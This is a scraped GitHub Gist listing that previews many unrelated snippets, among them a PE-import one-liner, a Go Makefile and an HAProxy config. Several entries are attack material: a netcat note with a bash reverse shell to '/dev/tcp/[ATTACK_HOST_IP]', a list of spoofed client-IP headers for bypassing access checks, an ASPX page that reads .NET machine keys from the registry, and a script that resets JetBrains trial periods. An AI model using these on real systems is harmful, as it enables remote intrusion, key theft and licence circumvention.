Skip to content

Instantly share code, notes, and snippets.

View phedoreanu's full-sized avatar
🏠
Working from home

Adrian Fedoreanu phedoreanu

🏠
Working from home
View GitHub Profile

sharing this oneliner i made and use a lot on PEs. doesn't work on DLLs or if you have 0 imports:
alias peinfo="python -c \"import pefile, sys; pe = pefile.PE(sys.argv[1]); print('\\n'.join(['Module: {} - {}, Address: {}'.format(entry.dll.decode('utf-8'), imp.name.decode('utf-8'), hex(imp.address)) for entry in pe.DIRECTORY_ENTRY_IMPORT for imp in entry.imports]))\""
sample output:

Module: KERNEL32.dll - DeleteCriticalSection, Address: 0x14000d1d8
Module: msvcrt.dll - __initenv, Address: 0x14000d270
Module: msvcrt.dll - calloc, Address: 0x14000d2e8
@rain-1
rain-1 / a_How is a matrix used to count fish?.md
Last active August 1, 2024 14:29
How is a matrix used to count fish?

This is explaining stuff relevant to AOC 2021 day 6

How is a matrix used to count fish?

First lets do fibonacci numbers because it's smaller (2x2 matrix instead of 9x9) and it's familiar ground.

So you can implement fibs like this:

def fib(n):
CF-Connecting-IP: 127.0.0.1
Content-type: 0
Fastly-Client-IP: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded: for=127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
@thomaspoignant
thomaspoignant / Makefile
Last active January 26, 2025 19:21
My ultimate Makefile for Golang Projects
GOCMD=go
GOTEST=$(GOCMD) test
GOVET=$(GOCMD) vet
BINARY_NAME=example
VERSION?=0.0.0
SERVICE_PORT?=3000
DOCKER_REGISTRY?= #if set it should finished by /
EXPORT_RESULT?=false # for CI please set EXPORT_RESULT to true
GREEN := $(shell tput -Txterm setaf 2)
@m5lil
m5lil / reset.sh
Last active July 1, 2025 15:51
[reset jetbrains application trial] reset jetbrains ide evals v1.0.4 #others
#!/bin/bash
# reset jetbrains ide evals v1.0.4
OS_NAME=$(uname -s)
JB_PRODUCTS="IntelliJIdea CLion PhpStorm GoLand PyCharm WebStorm Rider DataGrip RubyMine AppCode"
if [ "$OS_NAME" == "Darwin" ]; then
echo 'macOS:'
for PRD in $JB_PRODUCTS; do
@alsunseri
alsunseri / reverse-netcat.txt
Last active January 16, 2025 18:07
nc netcat reverse shell
On attack host in "local" active terminal using port 10000 for example:
nc -l -t -v 8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
Then On "remote" victim computer - run this command
Get this to execute on the victim host ( assuming victim does not have netcat )
bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1
for example:
@irsdl
irsdl / machineKeyFinder.aspx
Last active July 19, 2025 12:57
To find validation and decryption keys when AutoGenerate has been used in Machine Key settings
<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)
@steven2358
steven2358 / ffmpeg.md
Last active July 21, 2025 19:10
FFmpeg cheat sheet
@meanevo
meanevo / haproxy.cfg
Last active July 25, 2019 16:51
H2, HTTP/1.1 traffic balance/routing with HAProxy 1.7 (with SSL-Termination) and Nginx 1.10.2
#---------------------------------------------------------------------
# Global settings
#---------------------------------------------------------------------
global
daemon
chroot /var/lib/haproxy
pidfile /var/run/haproxy.pid
maxconn 2048
user haproxy
group haproxy